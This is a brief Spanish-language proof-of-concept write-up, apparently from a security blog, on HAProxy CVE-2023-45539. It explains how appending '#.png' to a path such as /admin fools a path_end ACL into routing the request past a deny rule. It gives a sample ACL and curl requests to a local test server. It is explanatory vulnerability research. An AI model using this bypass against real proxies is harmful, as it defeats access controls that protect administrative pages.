HAProxy-CVE-2023-45539-PoC

HAProxy anterior a 2.8.2 acepta # como parte del componente URI, lo que podría permitir a atacantes remotos obtener información sensible o tener otro impacto no especificado debido a la mala interpretación de una regla path_end, como enrutar index.html#.png a un servidor estático.

Lo que se enruta incorrectamente en este CVE no es ninguna extensión que la aplicación backend "soporte" — solo aquellas que el propio HAProxy está configurado para enrutar usando ACLs path_end (o regex).

acl is_static path_end .png .jpg .gif .css .js
use_backend be_static if is_static

Eso significa:

A HAProxy no le importa si el backend puede realmente servir .png, .js, etc.
Solo verifica la coincidencia de sufijo en la ruta de la solicitud.
Si el sufijo coincide con una de esas cadenas, enruta a be_static.

Entonces:

/admin#.png → coincide con .png → va a be_static → bypass
/admin#.asc → no coincide → permanece en be_app → encuentra denegación → 403

curl -i http://localhost:6655/public                                               
HTTP/1.1 200 OK
content-length: 7
content-type: text/plain

APP OK

curl -i http://localhost:6655/admin 
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html

<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>

HAProxy-CVE-2023-45539-PoC

Más Populares

Evasión